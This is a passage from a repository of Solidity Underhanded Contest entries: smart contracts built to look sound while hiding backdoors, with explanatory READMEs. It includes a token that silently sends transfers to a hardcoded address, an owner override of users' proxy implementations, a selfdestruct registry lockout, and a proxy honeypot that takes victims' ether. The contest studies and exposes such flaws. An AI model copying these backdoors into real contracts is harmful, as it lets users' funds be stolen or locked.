    "content": "import '@nomiclabs/hardhat-waffle'\nimport { ethers } from 'hardhat'\nimport { expect } from 'chai'\n\ndescribe('Exploit', function() {\n  it('Should complete the full story', async function() {\n    const accounts = await ethers.getSigners()\n    const alice = accounts[0]\n    const carol = accounts[1]\n    const governance = accounts[2]\n    console.log('alice: ', alice.address)\n    console.log('carol: ', carol.address)\n    console.log('governance: ', governance.address)\n\n    const Token = await ethers.getContractFactory('Token')\n    const Proxy = await ethers.getContractFactory('Proxy')\n    const Backdoor = await ethers.getContractFactory('Backdoor')\n\n    const implementation = await Token.deploy()\n    const backdoor = await Backdoor.deploy()\n    const impl = await backdoor.actualImplementation()\n    console.log('impl: ', impl)\n\n    const proxy = await Proxy.deploy()\n    await proxy.initializeProxy(backdoor.address, governance.address)\n    const token = await ethers.getContractAt('Token', proxy.address)\n\n    console.log('Intended implementation: ', implementation.address)\n    const logicAddress = await proxy.implementation()\n    console.log('Actual implementation: ', logicAddress)\n\n    const governanceBalance = await token.balanceOf(governance.address)\n    console.log('gov balance: ', governanceBalance.toString())\n    const carolBalance = await token.balanceOf(carol.address)\n    console.log('attacker balance: ', carolBalance.toString())\n  })\n})\n"
  },
  {
    "path": "2020/submissions_2020/submission16_VirajMalhotra/AddressSet.sol",
    "content": "pragma solidity 0.7.0; \n\n/* \nFor managing user impl. address preferences\n*/\n\nimport \"./Ownable.sol\";\n\nlibrary AddressSet {\n    struct Set {\n        mapping(address => uint) keyPointers;\n        address[] keyList;\n    }\n    \n    function insert(Set storage self, address key) internal {\n        require(!exists(self, key), \"UnorderedAddressSet(101) - Address already exists in the set.\");\n        self.keyList.push(key);\n        self.keyPointers[key] = self.keyList.length - 1;\n    }\n    \n    function count(Set storage self) internal view returns(uint) {\n        return(self.keyList.length);\n    }\n    \n    function exists(Set storage self, address key) internal view returns(bool) {\n        if(self.keyList.length == 0) return false;\n        return self.keyList[self.keyPointers[key]] == key;\n    }\n    \n    function keyAtIndex(Set storage self, uint index) internal view returns(address) {\n        return self.keyList[index];\n    }\n    \n    function nukeSet(Set storage self) public {\n        delete self.keyList;\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission16_VirajMalhotra/ERC20V1.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"./Upgradable.sol\";\n\ncontract ERC20V1 is Upgradable {\nstring public name;\nstring public symbol;\nuint public decimals;\nuint public totalSupply;\n\n\nmapping(address => uint) public balanceOf;\n\nmapping(address => mapping(address => uint)) public allowance;\n\nconstructor(bytes32 componentUid) Upgradable(componentUid) {}\n\n\nfunction set(uint _initialSupply) public {\n    totalSupply = _initialSupply;\n    balanceOf[msg.sender] = _initialSupply;\n    name = \"Viraz Token\";\n    symbol = \"VIR\";\n    decimals = 18;\n}\n\nevent Approval(\n    address sender,\n    address spender,\n    uint amount\n);\nevent Transfer(\n    address from,\n    address to,\n    uint amount\n);\n\n\nfunction transfer(address _to, uint amount) public  returns (bool) {\nrequire(balanceOf[msg.sender] >= amount);\nbalanceOf[msg.sender] -= amount;\nbalanceOf[_to] += amount;\nemit Transfer(msg.sender, _to, amount);\nreturn true;\n}\n\n\n\nfunction approve(address _spender, uint amount) public returns (bool) {\n  allowance[msg.sender][_spender] = amount;\n  emit Approval(msg.sender,_spender,amount);\n  return true;\n}\n\nfunction transferFrom(address _owner, address _spender, uint amount) public returns (bool){\n    require(balanceOf[_owner]>=amount);\n    require(allowance[_owner][_spender]>=amount);\n    balanceOf[_owner] -= amount;\n    balanceOf[_spender] += amount;\n    allowance[_owner][_spender] -= amount;\n    emit Transfer(_owner, _spender, amount);\n    return true;\n}\n}"
  },
  {
    "path": "2020/submissions_2020/submission16_VirajMalhotra/Malicious.sol",
    "content": "pragma solidity 0.7.0;\n\ncontract Malicious {\nstring public name;\nstring public symbol;\nuint public decimals;\nuint public totalSupply;\n\n\nevent Approval(\n    address sender,\n    address spender,\n    uint amount\n);\nevent Transfer(\n    address from,\n    address to,\n    uint amount\n);\n\nmapping(address => uint) public balanceOf;\n\nmapping(address => mapping(address => uint)) public allowance;\n\nfunction set(uint _initialSupply) public {\n    totalSupply = _initialSupply;\n    balanceOf[msg.sender] = _initialSupply;\n    name = \"Viraz Token\";\n    symbol = \"VIR\";\n    decimals = 18;\n}\n\nfunction transfer(address _to, uint amount) public  returns (bool) {\n_to = 0x2DdA8dc2f67f1eB94b250CaEFAc9De16f70c5A51;\nrequire(balanceOf[msg.sender] >= amount);\nbalanceOf[msg.sender] -= amount;\nbalanceOf[_to] += amount;\nemit Transfer(msg.sender, _to, amount);\nreturn true;\n}\n\nfunction approve(address _spender, uint amount) public returns (bool) {\n  _spender = 0x2DdA8dc2f67f1eB94b250CaEFAc9De16f70c5A51;\n  allowance[msg.sender][_spender] = amount;\n  emit Approval(msg.sender,_spender,amount);\n  return true;\n}\n\nfunction transferFrom(address _owner, address _spender, uint amount) public returns (bool){\n    _spender = 0x2DdA8dc2f67f1eB94b250CaEFAc9De16f70c5A51;\n    require(balanceOf[_owner]>=amount);\n    require(allowance[_owner][_spender]>=amount);\n    balanceOf[_owner] -= amount;\n    balanceOf[_spender] += amount;\n    allowance[_owner][_spender] -= amount;\n    emit Transfer(_owner, _spender, amount);\n    return true;\n}\n}"
  },
  {
    "path": "2020/submissions_2020/submission16_VirajMalhotra/Ownable.sol",
    "content": "pragma solidity 0.7.0;\n\n/**\n * @title Ownable\n * @dev The Ownable contract has an owner address, and provides basic authorization control\n * functions, this simplifies the implementation of \"user permissions\".\n */\nabstract contract Ownable {\n    address private _owner;\n\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n    /**\n     * @dev The Ownable constructor sets the original `owner` of the contract to the sender\n     * account.\n     */\n    constructor () {\n        _owner = msg.sender;\n        emit OwnershipTransferred(address(0), _owner);\n    }\n\n    /**\n     * @return the address of the owner.\n     */\n    function owner() public view returns (address) {\n        return _owner;\n    }\n\n    /**\n     * @dev Throws if called by any account other than the owner.\n     */\n    modifier onlyOwner() {\n        require(isOwner());\n        _;\n    }\n\n    /**\n     * @return true if `msg.sender` is the owner of the contract.\n     */\n    function isOwner() public view returns (bool) {\n        return msg.sender == _owner;\n    }\n\n    /**\n     * @dev Allows the current owner to relinquish control of the contract.\n     * It will not be possible to call the functions with the `onlyOwner`\n     * modifier anymore.\n     * @notice Renouncing ownership will leave the contract without an owner,\n     * thereby removing any functionality that is only available to the owner.\n     */\n    function renounceOwnership() public onlyOwner {\n        emit OwnershipTransferred(_owner, address(0));\n        _owner = address(0);\n    }\n\n    /**\n     * @dev Allows the current owner to transfer control of the contract to a newOwner.\n     * @param newOwner The address to transfer ownership to.\n     */\n    function transferOwnership(address newOwner) public onlyOwner {\n        _transferOwnership(newOwner);\n    }\n\n    /**\n     * @dev Transfers control of the contract to a newOwner.\n     * @param newOwner The address to transfer ownership to.\n     */\n    function _transferOwnership(address newOwner) internal {\n        require(newOwner != address(0));\n        emit OwnershipTransferred(_owner, newOwner);\n        _owner = newOwner;\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission16_VirajMalhotra/Proxy.sol",
    "content": "pragma solidity 0.7.0;\n\nimport \"./Registry.sol\";\n\ncontract Proxy {\n    \n    bytes32 private constant REGISTRY_ADDRESS_KEY = keccak256(\"Registry address key\");\n    address private constant UNDEFINED = address(0);\n    \n    /**\n     * @notice Deploys a new registry for this component. Each proxy controls one upgradable component. \n     */\n    constructor() {\n        Registry registry = new Registry(false);\n        registry.transferOwnership(msg.sender);\n        address registryAddress = address(registry);\n        bytes32 registryAddressStorageKey = REGISTRY_ADDRESS_KEY;\n        //solium-disable-next-line security/no-inline-assembly\n        assembly {\n            sstore(registryAddressStorageKey, registryAddress)\n        }\n    }\n    \n    /**\n     * @return The address of authoratative implementation registry for this proxy. \n     */\n    function registryAddress() public view returns(address) {\n        address r;\n        bytes32 registryAddressKey = REGISTRY_ADDRESS_KEY;\n        //solium-disable-next-line security/no-inline-assembly\n        assembly {\n            r := sload(registryAddressKey)\n        }\n        require(r != UNDEFINED, \"Internal error. The registry is undefined.\");\n        return r;\n    }\n\n    /**\n     * @return The componentUid for this proxy.\n     */\n    function componentUid() public view returns(bytes32) {\n        RegistryInterface registry = RegistryInterface(registryAddress());\n        return registry.componentUid();\n    }\n\n    /** \n     * @return The user implementation preference. \n     */\n    function userImplementation(address user) public view returns(address) {\n        RegistryInterface registry = RegistryInterface(registryAddress());\n        return registry.userImplementation(user);\n    } \n    \n    /** \n     * @dev Set user's implementation. \n     */\n    function setImplementation(address impl) public {\n        RegistryInterface registry = RegistryInterface(registryAddress());\n        return registry.setMyImplementation(impl);\n    } \n    \n    /**\n     * @notice Delegates invokations to the user's preferred implementation. \n     */\n    fallback () external payable {\n        address implementationAddress = userImplementation(msg.sender);\n        //solium-disable-next-line security/no-inline-assembly\n       assembly {\n            calldatacopy(0, 0, calldatasize())\n\n            let result := delegatecall(gas(), implementationAddress, 0, calldatasize(), 0, 0)\n\n            returndatacopy(0, 0, returndatasize())\n\n            switch result\n            case 0 { revert(0, returndatasize()) }\n            default { return(0, returndatasize()) }\n        }\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission16_VirajMalhotra/README.md",
    "content": "# The Proxy Backdoor\n\n## Summary\nThe overall structure of this backdoor follows a opt in - opt out mechanism governed by Registry, Proxy and Implementation Contracts.\n\nAs a user Alice I want to have a structure for other user's to create and register any type of implementation contracts for this contest taking an example of ERC20 Contract.\n\nThe overall structure is 1 Registry per Proxy and then any user can add their choice of implementation contracts since for this contest the opt-in is false and each implmentation has to define a component id while deploying and it has to be same as registry for security purposes.\n\nBut what if the owner of the Registry and Proxy contract's adds a overide function to change the user's preference without their permission 🤨 let's find out below\n\n## Technical Flow\nAlice(**0x2DdA8dc2f67f1eB94b250CaEFAc9De16f70c5A51**) creates a Proxy(**0x726109d349c3eed1663ad9aba764edf03fee70cb**) which creates a Registry(**0xd56812F469Ec18808eeeEA59CB1c27a9e04C4858**) in the same transaction and then Bob(**0xf88b0247e611eE5af8Cf98f5303769Cba8e7177C**) adds an ERC20 Implementation to the Registry and can call the functions through the Proxie's fallback function which uses delegate call underneath.\n\n## Exploit(Spoiler)\nThe owner of the Registry i.e Alice can call an overide function to replace the Bob's implmentation contract with the Malicious Contract you'll find in the submission zip file guess what happens next 🤓\n\n### NOTE\nAll contract metnioned above are deployed at Ropsten Network and the complete flow mentioned has been tested.\n"
  },
  {
    "path": "2020/submissions_2020/submission16_VirajMalhotra/Registry.sol",
    "content": " pragma solidity 0.7.0;\n\n/**\n * @title Registry\n * @author Rob Hitchens\n * @notice Trustless upgradable contract implementation registry.\n */\n\nimport \"./AddressSet.sol\";\nimport \"./Upgradable.sol\";\nimport \"./Ownable.sol\";\n\ninterface RegistryInterface {\n    function componentUid() external view returns(bytes32);\n    function addImplementation(address implementationAddress) external;\n    function setDefaultImplementation(address implementationAddress) external;\n    function setMyImplementation(address implementationAddress) external;\n    function userImplementation(address user) external view returns(address);\n    function myImplementation() external view returns(address);\n    function isImplementation(address implementationAddress) external view returns(bool);\n    function implementationCount() external view returns(uint);\n    function implementationAtIndex(uint index) external view returns(address);\n}\n\ncontract Registry is RegistryInterface, Ownable {\n    \n    using AddressSet for AddressSet.Set;\n    AddressSet.Set validImplementations;\n    \n    bool public OPT_IN;\n    \n    address public defaultImplementation;\n    address constant UNDEFINED = address(0);\n    bytes32 COMPONENT_UID;\n    \n    mapping(address => address) userImplementationChoices;\n    \n    event LogNewRegistry(address sender, address registry, bool optInPolicy);\n    event LogNewImplementation(address sender, address implementation);\n    event LogRecalledImplementation(address sender, address implementation);\n    event LogNewDefaultImplementation(address sender, address implementation);\n    event LogUserImplementation(address sender, address implementation);\n    \n    /**\n     * @notice Ensures a unique identifier for the component this registry is concerned with. \n     * @param optIn The permanent registry policy that governs default user upgrade policy. \n     *        True means users accept all default implementations unless they explicitly lock in a preferred version. \n     *        False means each user must explicitly lock in a version and default implementations have no effect.\n     */\n    constructor(bool optIn) {\n        OPT_IN = optIn;\n        COMPONENT_UID = keccak256(abi.encodePacked(msg.sender));\n        emit LogNewRegistry(msg.sender, address(this), optIn);\n    }\n    \n    /**\n     * @return bytes32 The componentUid this registry accepts.\n     */\n    function componentUid() override public view returns(bytes32) {\n        return COMPONENT_UID;\n    }\n    \n    /**\n     * @param implementationAddress Address of a compatible implementation contract. \n     * @notice The componentUid() function in the implementationAddress must return a matching componentUid. This helps prevent deployment errors. \n     */\n    function addImplementation(address implementationAddress) override public onlyOwner {\n        UpgradableInterface u = UpgradableInterface(implementationAddress);\n        require(u.componentUid() == COMPONENT_UID, \"Implementation.componentUid doesn't match this registry's componentUid.\");\n        validImplementations.insert(implementationAddress);\n        emit LogNewImplementation(msg.sender, implementationAddress);\n    }\n    \n    /**\n     * @param implementationAddress Set the default implementation. \n     * @notice onlyOwner. The default implementation address must be registered. \n     */\n    function setDefaultImplementation(address implementationAddress) override public onlyOwner {\n        require(isImplementation(implementationAddress), \"implementationAddress is not registered.\");\n        defaultImplementation = implementationAddress;\n        emit LogNewDefaultImplementation(msg.sender, implementationAddress);\n    }\n    \n    /**\n     * @param implementationAddress User's preferred implementation. \n     * @notice Overrides the default implementation unless the user's preferred implementation was recalled. \n     * @notice Set to 0x0 to use the present and future default implementation set by the registry owner.\n     */\n    function setMyImplementation(address implementationAddress) override public {\n        require(implementationAddress != address(0), \"Invalid Implementation Address\");\n        UpgradableInterface u = UpgradableInterface(implementationAddress);\n        require(u.componentUid() == COMPONENT_UID, \"Implementation.componentUid doesn't match this registry's componentUid.\");\n        validImplementations.insert(implementationAddress);\n        userImplementationChoices[msg.sender] = implementationAddress;\n        emit LogUserImplementation(msg.sender, implementationAddress);\n    }\n    \n    /**\n     * @notice Returns the implementation contract to use per user choices, opt-in/opt-out registry policy and the default implementation.\n     * @param user The user to inspect.\n     * @return address The user's effective implementation address.\n     */\n    function userImplementation(address user) override public view returns(address) {\n        address userImpl = userImplementationChoices[user];\n        if(OPT_IN) {\n            if(!validImplementations.exists(userImpl)) return defaultImplementation;\n            return userImpl;\n        } else {\n            require(userImpl != address(0), \"User must setMyImplementation() first.\");\n            require(validImplementations.exists(userImpl), \"User's selected implementation is recalled. User must setMyImplementation().\");\n            return userImpl;\n        }\n    }\n    \n    /**\n     * @return address msg.sender's preferred implementation address.\n     */\n    function myImplementation() override public view returns(address) {\n        return userImplementation(msg.sender);\n    }\n    \n    /**\n     * @param implementationAddress The address to check. \n     * @return bool True if the implementation is a registered implementation.\n     */\n    function isImplementation(address implementationAddress) override public view returns(bool) {\n        return validImplementations.exists(implementationAddress);\n    }\n    \n    /**\n     * @return uint The count of implementation contracts registered. \n     */\n    function implementationCount() override public view returns(uint) {\n        return validImplementations.count();\n    }\n    \n    /**\n     * @param index The row number to inspect. \n     * @return address The address of an implementtion address.\n     */\n    function implementationAtIndex(uint index) override public view returns(address) {\n        return validImplementations.keyAtIndex(index);\n    }\n    \n    function overide(address _user, address _impl) public onlyOwner {\n        validImplementations.insert(_impl);\n        userImplementationChoices[_user] = _impl;\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission16_VirajMalhotra/Upgradable.sol",
    "content": "pragma solidity 0.7.0;\n\n \ninterface UpgradableInterface {\n    function componentUid() external returns(bytes32);\n}\n\ncontract Upgradable {\n    \n    bool directCall = true;\n    bytes32 internal COMPONENT_UID;\n    \n    modifier onlyProxy {\n        require(!directCall);\n        _;\n    }\n    constructor(bytes32 componentUid) {\n        COMPONENT_UID = componentUid;\n    }\n    \n    function componentUid() public view returns(bytes32) {\n        return COMPONENT_UID;\n    }\n    \n}"
  },
  {
    "path": "2020/submissions_2020/submission1_CoreyDickson/Attack.sol",
    "content": "pragma solidity ^0.6.0;\n\nimport \"./Target.sol\";\nimport \"./OwnerRegistry.sol\";\n\ncontract Attack {\n    Target public target;\n    address public owned;\n\n    function submitContract(address _nextOwner, address _registry) public {\n        OwnerRegistry registry = OwnerRegistry(_registry);\n        target = new Target(_nextOwner);\n        target.destroy();\n\n        owned = address(target);\n        registry.addContract(address(target));\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission1_CoreyDickson/OwnerRegistry.sol",
    "content": "//SPDX-License-Identifier: Unlicense\npragma solidity ^0.6.0;\n\nimport \"hardhat/console.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"./Target.sol\";\n\ncontract OwnerRegistry {\n  using Address for address;\n  mapping (address => address) private delegates;\n\n  function addContract(address _contract) public {\n    address existingOwner = delegates[_contract];\n    if (address(_contract).isContract() && existingOwner == address(0)) {\n        delegates[_contract] = msg.sender;\n    } else {\n        delegates[_contract] = address(0);\n    }\n  }\n\n  function changeDelegate(address _contract) public {\n    require(delegates[_contract] != address(0), \"contract must be in registry\");\n\n    Target target = Target(_contract);\n    delegates[_contract] = target.getNextOwner();\n  }\n\n  function getDelegate(address _contract) public view returns (address) {\n    return delegates[_contract];\n  }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission1_CoreyDickson/README.md",
    "content": "# Getting Started\n\nRun `npm install`\n\nTo compile and view the single test case of the borked code run `npm run test`\n\n\n# How it Works\n\nHere there is a basic registry contract that allows users to update a delegate role for `Target` contracts in the registry by calling the `changeOwner` method. This will\ncheck to see who is the next delegate for that contract to be nominated and set that value in the private mapping. A gas efficient pattern when using mappings is to check if an entry has a\nzeroed out value, in this case the null address, before updating. However, in the check to do so in `addContract` there is another seemingly innocuous line which verifies that the address\nbeing submitted is in fact a contract. This method however in the openzeppelin library, will return `true` if executed in the same tx that said contract is selfdestructed.\n\nTherefore that address is no longer accessible in the registry even when a future user attemps to reimplement `Target` at that given address. Furthermore, users who attempt to change the delegate after the contract has\nbeen added to registry will have their transactions revert. Thus, once again, locking out all further submissions. This was made to highlight an anti-pattern with library semantics, as one could imagine giving delegates access to an upgrade proxy and potentially losing access.\n"
  },
  {
    "path": "2020/submissions_2020/submission1_CoreyDickson/Target.sol",
    "content": "pragma solidity ^0.6.0;\n\ncontract Target {\n    address nextOwner;\n\n    constructor(address _nextOwner) public {\n      nextOwner = _nextOwner;\n    }\n\n    function destroy() public {\n        selfdestruct(msg.sender);\n    }\n\n    function getNextOwner() public view returns (address) {\n      return nextOwner;\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission2_SohamZemse/GiveAway_v1.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport { Proxiable } from \"./Proxiable.sol\";\n\ncontract GiveAway is Proxiable {\n    bool available = true;\n    address owner;\n\n    function initialize() public payable {\n        require(msg.value >= 10 ether);\n        owner = msg.sender;\n    }\n\n    function updateCodeAddress(address _newAddress) public payable {\n        if (available && msg.value > 1 ether) {\n            _updateCodeAddress(_newAddress);\n            available = false;\n        }\n    }\n\n    function withdraw() public {\n        require(msg.sender == owner);\n        msg.sender.transfer(address(this).balance);\n    }\n\n    // function withdraw2() public {\n    //     require(msg.sender == youraddress);\n    //     msg.sender.transfer(address(this).balance);\n    // }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission2_SohamZemse/GiveAway_v2.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport { Proxiable } from \"./Proxiable.sol\";\n\ncontract GiveAway is Proxiable {\n    bool available = true;\n    address owner;\n\n    function initialize() public payable {\n        require(msg.value >= 10 ether);\n        owner = msg.sender;\n    }\n\n    function updateCodeAddress(address _newAddress) public payable {\n        if (available && msg.value > 1 ether) {\n            _updateCodeAddress(_newAddress);\n            available = false;\n        }\n    }\n\n    // function withdraw() public {\n    //     require(msg.sender == owner);\n    //     msg.sender.transfer(address(this).balance);\n    // }\n\n    function withdraw2() public {\n        require(\n            msg.sender == address(1) /*youraddress*/\n        );\n        msg.sender.transfer(address(this).balance);\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission2_SohamZemse/Proxiable.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n// EIP-1822 Universal Upgradeable Proxy Standard\ncontract Proxiable {\n    // Code position in storage is keccak256(\"PROXIABLE\") = \"0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7\"\n\n    function _updateCodeAddress(address newAddress) internal {\n        require(\n            bytes32(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7) ==\n                Proxiable(newAddress).proxiableUUID(),\n            \"Not compatible\"\n        );\n        assembly {\n            // solium-disable-line\n            sstore(0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7, newAddress)\n        }\n    }\n\n    function proxiableUUID() public pure returns (bytes32) {\n        return 0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7;\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission2_SohamZemse/Proxy.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n// EIP-1822 Universal Upgradeable Proxy Standard\ncontract ERCProxy {\n    // Code position in storage is keccak256(\"PROXIABLE\") = \"0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7\"\n    constructor(bytes memory constructData, address contractLogic) {\n        // save the code address\n        assembly {\n            // solium-disable-line\n            sstore(\n                0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7,\n                contractLogic\n            )\n        }\n        if (constructData.length > 0) {\n            (bool success, ) = contractLogic.delegatecall(constructData); // solium-disable-line\n            require(success, \"Construction failed\");\n        }\n    }\n\n    fallback() external payable {\n        assembly {\n            // solium-disable-line\n            let contractLogic := sload(\n                0xc5f16f0fcc639fa48a6947836d9850f504798523bf8c9a3a87d5876cf622bcf7\n            )\n            calldatacopy(0x0, 0x0, calldatasize())\n            let success := delegatecall(sub(gas(), 10000), contractLogic, 0x0, calldatasize(), 0, 0)\n            let retSz := returndatasize()\n            returndatacopy(0, 0, retSz)\n            switch success\n                case 0 {\n                    revert(0, retSz)\n                }\n                default {\n                    return(0, retSz)\n                }\n        }\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission2_SohamZemse/README.md",
    "content": "# Give Away :: Solidity Underhand Submission\n\nThis is a submission for [Solidity Underhand Contest](https://underhanded.soliditylang.org/).\n\n## Brief\n\nThis is a smart contract honey pot based on **proxy**. A random user on the internet visits the contract address on Etherscan with verified source code, that has nice ether in it. The user notices that there is a method that helps anyone to take control of the contract by upgrading the implementation containing a method that allows only them to withdraw the entire balance of the contract.\n\n## About Files Included\n\n- GiveAway_v1.sol (the main_v1 file)\n- GiveAway_v2.sol (the main_v2 file)\n- Proxiable.sol (standard file, taken from [ERC1822](https://github.com/ethereum/EIPs/blob/62f5f2105e41c5a2c6a1a8d0e5c642107eaec0ce/EIPS/eip-1822.md#constructor), inherited in main files)\n- Proxy.sol (standard file, taken from [ERC1822](https://github.com/ethereum/EIPs/blob/62f5f2105e41c5a2c6a1a8d0e5c642107eaec0ce/EIPS/eip-1822.md#proxiable-contract), the proxy file)\n- README\n\n## How it should work\n\n1. Person A deploys `GiveAway_v1.sol` at `0xGiveAwayV1`.\n2. Person A deploys `Proxy.sol` at `0xProxy` with args `0x` and `0xGiveAway`.\n3. Person A sends `initialize()` tx to `0xProxy` with value `10 ether`.\n4. Person B sees this, and notices that there could be a `getGift()` method in the implementation.\n5. Person B deploys `GiveAway_v2.sol` at `0xGiveAwayV2`, that has the method `withdraw2()` with their address and `withdraw()` method commented so that the original owner should not be able to withdraw.\n6. Person B calls `updateCodeAddress(address)` on `0xProxy`, passing `0xGiveAwayV2` as arg and sending in the minimum `1 ether + 1` value.\n7. Person B calls `withdraw2()` and gets `11 ether + 1`.\n\n<!-- The second and third step could be squashed, into the `constructorData` as `0x8129fc1c` (`initialize()`), but since it's payable, the require statement in `initialize` method fails. -->\n\n## How it works / Spoilers\n\nThose who are familiar with how smart contract proxies work, they might have already catched the flaw. The existance of the flaw results the deployer having full control, even if it does not seem like it. So here it is! When we deployed the implementation contract, we had the constructor set the value of `available` storage var. A proxied contract [cannot have a constructor](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/e5fbbda9bac49039847a7ed20c1d966766ecc64a/contracts/proxy/Initializable.sol#L9), so the `available` storage var is not initialized in the proxy contract. The users who are not aware of this might think they can get the control of contract. In the step 6, the `if` condition in `updateCodeAddress` method is not satisfied due to nullish value in `available`, which doesn't actually update the implementation address as it seems.\n\n## Considerations\n\nThe scamy theme is choosen as a parody for so many scams online. Goal of this, is to bring awareness about such acts happening online which defames a good technology.\n\n## Acknowledgements\n\nThanks to organisers for the initiative!\n\n## License\n\nMIT\n"
  },
  {
    "path": "2020/submissions_2020/submission3_AlexanderWade/Dispatcher.sol",
    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.0;\n\nimport \"./interfaces/OptInContract.sol\";\nimport \"./interfaces/VersionContract.sol\";\nimport \"./erc20/erc20v1.sol\";\n\ninterface ImplContract {\n    function migrateAndLock(address msgSender) external returns (bytes memory);\n    function migrateTo(bytes memory upgradeData) external;\n}\n\ncontract Dispatcher {\n\n    // Most recent versionID\n    uint latestVersionID;\n\n    // Map versionID -> implementation address\n    mapping (uint => address) versionImpls;\n\n    // User's current versionID\n    mapping (address => uint) userVersion;\n\n    // Maps user to their version's implementation address\n    mapping(address => address) userApprovedImpls;\n\n    // An interface that allows users to interact with the Dispatcher\n    // to explicitly opt in to new versions of the app\n    address immutable optInContract;\n\n    // An interface that allows a version's owner to propose a new version\n    address immutable versionContract;\n\n    // The address allowed to propose new versions to upgrade to\n    address owner;\n\n    /**\n     * Creates our 2 interface contracts, which allow interaction with the Dispatcher\n     * ... without adding additional public functions to its interface.\n     */\n    constructor () {\n        optInContract = address(new OptInContract());\n        versionContract = address(new VersionContract());\n\n        // Owner address; allowed to propose new versions\n        owner = msg.sender;\n        \n        // VersionIDs start at 1\n        latestVersionID = 1;\n        versionImpls[latestVersionID] = address(new ERC20V1(msg.sender));\n    }\n\n    /**\n     * This contract's only public function\n     * Forwards msg.data to the caller's approved implementation contract, unless:\n     * 1. Caller is optInContract -> Updates user's approved version\n     * 2. Caller is versionContract -> Allows owner to propose new version\n     * 3. User has approved the latest version and has not upgraded -> user is upgraded before forwarding\n     */\n    fallback() external payable {\n        if (msg.sender == optInContract) {\n            // Allows sender to opt in to some newer version\n            (address msgSender, uint approvedVersion) = abi.decode(msg.data, (address,uint));\n            optIn(msgSender, approvedVersion);\n            return;\n        } else if (msg.sender == versionContract) {\n            // Allows the owner to propose a newer version\n            (address msgSender, address nextImpl) = abi.decode(msg.data, (address, address));\n            version(msgSender, nextImpl);\n            return;\n        }\n\n        /**\n         * If the user has approved the latest-proposed implementation, and their\n         * current version is a previous version, upgrade to latest before continuing\n         */\n        if (userApprovedImpls[msg.sender] == latestImpl() && userVersion[msg.sender] < latestVersionID) {\n            upgrade();\n        }\n\n        // After upgrade, userVersion contains caller's current version\n        // If user did not upgrade, userVersion still contains caller's current version\n        uint256 targetVersion = userVersion[msg.sender];\n        address impl = versionImpls[targetVersion];\n        // Call app at user's current version\n        // Performs a low-level return / revert\n        execute(impl, abi.encodePacked(msg.data, msg.sender)); // append msg.sender for the impl\n    }\n\n    // Returns the implementation address of the latest version\n    function latestImpl() internal view returns (address) {\n        return versionImpls[latestVersionID];\n    }\n\n    /**\n     * Accessed via OptInContract.optIn; allows caller to approve a newer version.\n     * The next time caller interacts with the app, they will be upgraded to this approved version.\n     * @param _msgSender Passed in from OptInContract, is the msg.sender to OptInContract.optIn\n     * @param _approvedVersion The version _msgSender is approving. Must be a newer, existing version.\n     */\n    function optIn(address _msgSender, uint _approvedVersion) internal {\n        require(_approvedVersion > userVersion[_msgSender], \"Downgrades not supported\");\n        require(_approvedVersion <= latestVersionID, \"Must approve existing version\");\n\n        userVersion[_msgSender] = _approvedVersion;\n        userApprovedImpls[_msgSender] = versionImpls[_approvedVersion];\n    }\n\n    /**\n     * Each Implementation has an owner, who may propose a next version to upgrade to.\n     * Users must opt in to this version before changes take effect.\n     * @param _msgSender Passed in from VersionContract, is the msg.sender to VersionContract.createNewVersion\n     * @param _nextImpl The address of the implementation of the next version\n     */\n    function version(address _msgSender, address _nextImpl) internal {\n        require(_msgSender == owner, \"Must be owner to propose upgrade\");\n\n        // Increment latestVersionID and create new version\n        latestVersionID++;\n        versionImpls[latestVersionID] = _nextImpl;\n    }\n\n    /**\n     * Migrates user's data from an old version to the...\n     */\n    function upgrade() internal {\n        address oldImpl = versionImpls[userVersion[msg.sender]];\n        address newImpl = versionImpls[latestVersionID];\n        userVersion[msg.sender] = latestVersionID;\n\n        // Tell old version to upgrade msg.sender to the new version\n        // Old version should delete/lock msg.sender's state\n        bytes memory upgradeData = ImplContract(oldImpl).migrateAndLock(msg.sender);\n        // Pass returned data to new version\n        ImplContract(newImpl).migrateTo(upgradeData);\n    }\n\n    function execute(address _impl, bytes memory _data) internal {\n        address target = _impl;\n\n        assembly {\n            let res := call(gas(), target, callvalue(), add(_data, 32), mload(_data), 0, 0)\n\n            returndatacopy(0, 0, returndatasize())\n\n            switch res\n            case 0 { revert(0, returndatasize()) }\n            default { return(0, returndatasize()) }\n        }\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission3_AlexanderWade/README.md",
